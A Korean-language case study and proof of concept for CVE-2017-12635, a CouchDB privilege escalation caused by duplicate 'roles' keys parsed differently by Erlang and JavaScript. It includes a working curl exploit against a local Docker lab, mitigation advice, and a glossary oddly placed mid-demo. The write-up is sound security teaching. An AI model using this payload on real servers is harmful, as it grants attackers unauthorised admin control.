
CVE-2017-12635의 사례 연구 및 POC: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - 원격 권한 상승
CVE-2017-12635에 대한 사례 연구 및 PoC (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - 원격 권한 상승
Apache CouchDB는 Erlang으로 구현된 문서 지향 NoSQL 데이터베이스입니다.
CouchDB는 데이터를 저장, 전송 및 처리하기 위해 여러 형식과 프로토콜을 사용합니다. JSON으로 데이터를 저장하고, MapReduce를 사용하여 JavaScript를 쿼리 언어로 사용하며, HTTP를 API로 사용합니다.
CouchDB는 단일 노드 데이터베이스뿐만 아니라 클러스터로도 사용할 수 있습니다.
Erlang 기반 JSON 파서와 JavaScript 기반 JSON 파서 간의 차이로 인해 CouchDB 1.7.0 이전 버전 및 2.x에서 2.1.1 미만 버전에 취약점이 존재했습니다. 이 취약점으로 인해 관리자가 아닌 사용자가 데이터베이스 내에서 액세스 제어에 사용되는 roles 키가 중복된 _users 문서를 제출하여 권한을 상승시킬 수 있었으며, 여기에는 관리 사용자를 나타내는 특수한 _admin 역할도 포함됩니다.
요약하면, 이 취약점을 통해 관리자가 아닌 사용자가 스스로에게 관리자 권한을 부여할 수 있습니다.
기본적으로 CouchDB는 누구나 모든 요청을 실행할 수 있도록 허용합니다. 모든 사람이 모든 작업을 수행할 수 있는 권한을 가집니다.
CouchDB에는 CouchDB 설치에 대해 모든 작업을 수행할 수 있는 관리자 사용자(예: 관리자, 슈퍼유저 또는 루트) 개념이 있습니다. 기본적으로 모든 사람이 관리자입니다. 이 설정이 마음에 들지 않으면 사용자 이름과 비밀번호를 자격 증명으로 사용하는 특정 관리자 사용자를 만들 수 있습니다.
또한 CouchDB는 관리자 사용자만 수행할 수 있는 요청 집합을 정의합니다. 자세한 내용은 공식 문서를 참조하세요.
CouchDB에는 등록된 모든 사용자를 JSON 문서로 저장하는 특별한 인증 데이터베이스가 있습니다.
CouchDB는 등록된 사용자에 대한 정보를 저장하기 위해 특별한 데이터베이스(기본적으로 _users라고 함)를 사용합니다. 이것은 시스템 데이터베이스입니다. 즉, 일반 데이터베이스 API를 공유하지만 문서 구조에 특별한 보안 관련 제약 조건과 규칙이 적용됩니다.
_users 데이터베이스의 문서를 GET, PUT 또는 DELETE할 수 있는 것은 관리자만 가능합니다.
사용자는 자신이 소유한 문서만 액세스(GET /_users/org.couchdb.user:<username>)하거나 수정(PUT /_users/org.couchdb.user:<username>)할 수 있습니다.
각 CouchDB 사용자는 문서 형식으로 저장됩니다. 이러한 문서에는 CouchDB가 올바른 인증 프로세스를 위해 처리하는 여러 필수 필드가 포함됩니다. 우리가 관심을 갖는 필드는 roles 필드입니다.
roles 필드는 사용자 역할 목록입니다. CouchDB는 내장 역할을 제공하지 않으므로 필요에 따라 자체 역할을 자유롭게 정의할 수 있습니다. 그러나 여기에 _admin과 같은 시스템 역할을 설정할 수는 없습니다. 또한 역할을 사용자에게 할당할 수 있는 것은 관리자만 가능합니다. 기본적으로 모든 사용자는 역할이 없습니다.
CouchDB는 Erlang으로 작성되었지만 사용자가 JavaScript로 문서 검증 스크립트를 지정할 수 있도록 합니다. 이러한 스크립트는 문서가 생성되거나 업데이트될 때 자동으로 평가됩니다. 새 프로세스에서 시작되며 Erlang 측에서 JSON 직렬화된 문서를 전달받습니다.
CouchDB는 함수와 문서를 JavaScript 인터프리터로 보냅니다. 이 메커니즘을 통해 사용자는 JavaScript로 문서 검증 함수를 작성할 수 있습니다. validate_doc_update 함수는 생성되거나 업데이트되는 각 문서에 대해 실행됩니다. 검증 함수가 예외를 발생시키면 업데이트가 거부되고, 그렇지 않으면 업데이트가 허용됩니다.
CouchDB는 유효하지 않거나 권한이 없는 문서 업데이트를 방지하기 위해 validate_doc_update 함수를 사용합니다.
function(newDoc, oldDoc, userCtx, secObj) {...}
인수:
newDoc – 저장될 문서의 새 버전oldDoc – 이미 저장된 문서의 이전 버전userCtx – 사용자 컨텍스트 객체srcObj – 보안 객체이 함수는 업데이트 요청의 새 문서, 데이터베이스에 저장된 현재 문서, 문서를 쓰는 사용자에 대한 정보를 포함하는 사용자 컨텍스트 객체(있는 경우), 데이터베이스 보안 역할 목록이 포함된 보안 객체를 전달받습니다.
CouchDB가 내부적으로 사용하는 JSON 파서는 jiffy이고, 검증 스크립트에서 JavaScript가 사용하는 파서는 JSON입니다.
문제는 중복 키를 처리할 때 JSON과 jiffy 간에 차이가 있다는 것입니다.
특정 키에 대해 Erlang 파서는 두 값을 모두 저장하지만, JavaScript 파서는 마지막 값만 저장합니다.
예를 들어, 두 파서로 {"name":"John", "name":"Jane"}을 구문 분석하면 다음과 같은 결과가 생성됩니다:
jiffy 사용: {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSON 사용: {name: "Jane"}CouchDB의 데이터 내부 표현을 위한 getter 함수는 첫 번째 값만 반환합니다.
중복된 roles 키를 가진 사용자를 생성하여 관련 입력 검증을 모두 우회하고 관리자 사용자를 만들 수 있습니다.
새 사용자의 문서는 다음과 같습니다: {..., "roles": ["_admin"], "roles": [], ...} .
CouchDB의 데이터 내부 표현을 위한 getter 함수는 첫 번째 값만 반환합니다. 결과적으로 Erlang 영역에서는 자신이 _admin 역할을 가진 것으로 보이지만, JavaScript 영역에서는 특별한 권한이 없는 것으로 나타납니다.
다행히도 공격자에게는 입력 검증 스크립트를 제외한 인증 및 권한 부여와 관련된 거의 모든 중요한 로직이 CouchDB의 Erlang 부분에서 발생합니다.
이 데모에서는 공식 저장소 couchdb의 Docker 이미지를 사용합니다. API 호출을 수행하려면 HTTP 클라이언트가 필요하며, 이를 위해 cURL을 사용합니다.
이 데모에는 모든 운영 체제를 사용할 수 있습니다.
사전 요구 사항:
취약점을 악용하기 위해 실행해야 하는 명령은 다음과 같습니다:
CouchDB 공식 이미지를 기반으로 컨테이너 생성
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
CouchDB 1.6.1 버전이 취약하므로 1.6.1 태그를 선택했습니다.
CouchDB 인스턴스가 실행 중이고 작동 중인지 확인
curl -X GET http://localhost:5984
쿼리: 인스턴스의 모든 데이터베이스
curl -X GET http://localhost:5984/_all_dbs
쿼리: records라는 새 데이터베이스 생성
curl -X PUT http://localhost:5984/records
쿼리: records 데이터베이스가 생성되었는지 확인
curl -X GET http://localhost:5984/_all_dbs
기본 CouchDB 설치에서는 모든 연결 사용자에게 관리자 수준의 액세스를 제공하므로 CouchDB 인스턴스에서 모든 레코드를 가져오고, 추가하고, 삭제할 수 있습니다. 이 구성을 Admin Party라고 합니다. 첫 번째 관리자 계정을 생성하기만 하면 파티를 중단시킬 수 있습니다.
쿼리: 자격 증명이 admin:admin인 관리자 계정 생성
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
데모를 통해 모든 사용자가 관리자 역할로 계정을 만들고 마치 관리자인 것처럼 데이터베이스에서 작업할 수 있음을 입증했습니다.
CouchDB 인스턴스는 두 가지 유형으로 구분할 수 있습니다:
기본적으로 CouchDB 인스턴스는 익명 사용자가 요청할 수 있습니다. 허용된 모든 요청이 인증된 사용자로부터만 오도록 하려면 데이터베이스 구성 파일에서 require_valid_user를 true로 설정할 수 있습니다. 이렇게 하면 익명 사용자의 요청이 허용되지 않으며 모든 사용자가 인증을 받아야 합니다.
악의적인 사용자가 취약점을 악용하는 것을 방지하기 위해 취할 수 있는 몇 가지 조치는 다음과 같습니다. 이는 2.1.1 이상 또는 1.7.1 이상이 아닌 모든 CouchDB 1.x 및 2.x 사용자에게 유효합니다.
공개 CouchDB 인스턴스:
require_valid_user를 활성화했고 모든 사용자가 데이터베이스 관리자 및 서버 셸 액세스 권한이 있다고 신뢰하는 경우: 문제 없습니다.내부 CouchDB 인스턴스:
require_valid_user를 활성화했고 모든 사용자가 데이터베이스 관리자 및 서버 셸 액세스 권한이 있다고 신뢰하는 경우: 문제 없습니다.require_valid_user를 비활성화했고 모든 사용자가 데이터베이스 관리자 및 서버 셸 액세스 권한이 있다고 신뢰하는 경우: require_valid_user를 활성화하세요.API: API(응용 프로그래밍 인터페이스)는 소프트웨어 구현 및 유지 관리를 단순화하기 위한 컴퓨터 프로그램의 여러 부분 간의 인터페이스 또는 통신 프로토콜입니다.
Erlang: Erlang은 범용 동시성 함수형 프로그래밍 언어이자 가비지 컬렉션 런타임 시스템입니다.
HTTP: HTTP(Hypertext Transfer Protocol)는 분산, 협업, 하이퍼미디어 정보 시스템을 위한 응용 프로토콜입니다. HTTP는 사용자가 쉽게 액세스할 수 있는 다른 리소스에 대한 하이퍼링크를 포함하는 하이퍼텍스트 문서가 있는 World Wide Web에서 데이터 통신의 기초입니다.
JSON: JSON(JavaScript Object Notation)은 사람이 읽을 수 있는 텍스트를 사용하여 속성-값 쌍 및 배열 데이터 유형(또는 기타 직렬화 가능한 값)으로 구성된 데이터 객체를 전송하는 개방형 표준 파일 형식 또는 데이터 교환 형식입니다. AJAX 시스템에서 XML을 대체하는 등 다양한 응용 프로그램에서 사용되는 매우 일반적인 데이터 형식입니다.
MapReduce: MapReduce는 클러스터에서 병렬 분산 알고리즘을 사용하여 대규모 데이터 집합을 처리하고 생성하기 위한 프로그래밍 모델 및 관련 구현입니다.
NoSQL: NoSQL 데이터베이스는 관계형 데이터베이스에서 사용되는 테이블 관계 이외의 방식으로 모델링된 데이터를 저장하고 검색하기 위한 메커니즘을 제공합니다.
PoC: PoC(개념 증명)는 특정 방법이나 아이디어의 실현 가능성을 입증하기 위한 구현, 또는 어떤 개념이나 이론이 실질적인 잠재력을 가지고 있는지 확인하기 위한 원칙 증명입니다.
권한 상승: 권한 상승은 운영 체제나 소프트웨어 응용 프로그램의 버그, 설계 결함 또는 구성 오류를 악용하여 일반적으로 응용 프로그램이나 사용자로부터 보호되는 리소스에 대한 권한이 높은 액세스 권한을 얻는 행위입니다.
쿼리: new_records라는 새 데이터베이스 생성
curl -X PUT http://localhost:5984/new_records
첫 번째 관리자 계정이 생성되면 Admin Party가 중단되므로 더 이상 새 데이터베이스를 만들 수 없습니다.
쿼리: 관리자 인증으로 new_records라는 새 데이터베이스 생성
curl -X PUT http://admin:admin@localhost:5984/new_records
쿼리: _users 데이터베이스에 새 문서 생성
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
여기서는 _users 데이터베이스에 새 문서를 생성할 수 있지만 인수에 제한이 있습니다.
앞서 설명한 대로 roles 필드를 중복하여 제한을 우회할 수 있습니다.
쿼리: new_records 데이터베이스 삭제
curl -X DELETE http://localhost:5984/new_records
관리자 역할이 없으므로 삭제할 수 없습니다.
쿼리: 게스트 인증으로 new_records 데이터베이스 삭제
curl -X DELETE http://guest:guest@localhost:5984/new_records
게스트 계정이 일반 사용자로 생성되었음에도 데이터베이스를 삭제했습니다!